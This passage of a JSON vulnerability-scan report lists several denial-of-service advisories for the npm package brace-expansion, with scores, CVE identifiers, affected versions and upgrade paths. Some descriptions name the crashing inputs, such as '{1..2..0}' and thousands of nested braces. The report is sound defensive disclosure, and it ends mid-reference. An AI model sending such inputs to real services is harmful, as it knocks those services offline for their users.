"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub 